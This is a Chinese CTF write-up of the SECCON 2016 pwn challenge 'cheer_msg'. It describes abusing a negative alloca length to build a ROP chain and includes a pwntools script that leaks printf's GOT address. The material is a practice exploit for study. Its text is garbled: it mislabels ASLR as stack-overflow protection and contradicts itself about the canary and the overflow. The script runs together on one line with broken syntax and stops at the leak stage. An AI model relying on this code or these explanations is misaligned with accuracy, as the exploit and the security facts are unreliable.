
本文共 1212 字,大约阅读时间需要 4 分钟。
文件信息样本来自2016年Seccon CTF的一道Pwn题,并提供了相关文件,大大减少了漏洞利用的难度。程序是一个32位小端,且启用了栈溢出保护(ASLR)和NX保护。
程序主要逻辑集中在main和message两个函数中。从伪代码来看,main函数接收一个长度值n,然后根据n分配栈中的内存空间。需要注意的是,这里的栈内存分配使用了alloca函数(与一般的heap函数不同),alloca会将内存分配到栈中,因此在实际编程中使用较少。
message函数中第一个getnline调用读取n个字节,存储到a1变量所在的内存位置。a1变量是main中的v7变量。尽管getnline函数会根据n的大小读取输入,但我们发现堆栈空间足够大,因此这里似乎没有明显的溢出漏洞。
漏洞利用思路如下:最初以为message函数的第一个getnline会造成缓冲区溢出,但后来发现main函数中并未设置canary机制。漏洞利用的关键点在于通过将n设置为负数,使esp向下移动,使得栈帧的逻辑上的esp低于main函数的ebp,从而构造一个ROP链。
具体来说,当n为负数时,程序会尝试从低于main函数栈底的位置读取输入。这时,第二个getnline会将输入的内容存放在栈中的特定位置,进而构造一个ROP链。成功实现漏洞利用需要动态调试确定stack offset和padding长度。
完整的代码解析如下:
from pwn import *process("./cheer_msg")ELFFile "./cheer_msg"libc = ELF "./libc.so.6_x86"printf = ELFFile.plt["printf"]printf_got = ELFFile.got["printf"]start = 0x080484B0p.sendlineafter("Message Length >> ", "-100")pad = cyclic(44 + 4)pad += p32(printf)pad += p32(start)pad += p32(printf_got)p.sendlineafter("Name >> ", pad)p.interactive()
漏洞利用的过程描述:
本题的难点在于由于栈的内存分配方式,传统的缓冲区溢出方法不再适用,必须通过改变esp的位置,利用alloca函数的特定行为来构造ROP链。
总结:这题利用了alloca函数的特殊性,将栈的内存分配与ROP链结合,需要深入理解stack结构和调试环境。动态调试是快速找到offset和padding长度的有效方法,建议在类似问题中多加练习。
发表评论
最新留言
关于作者
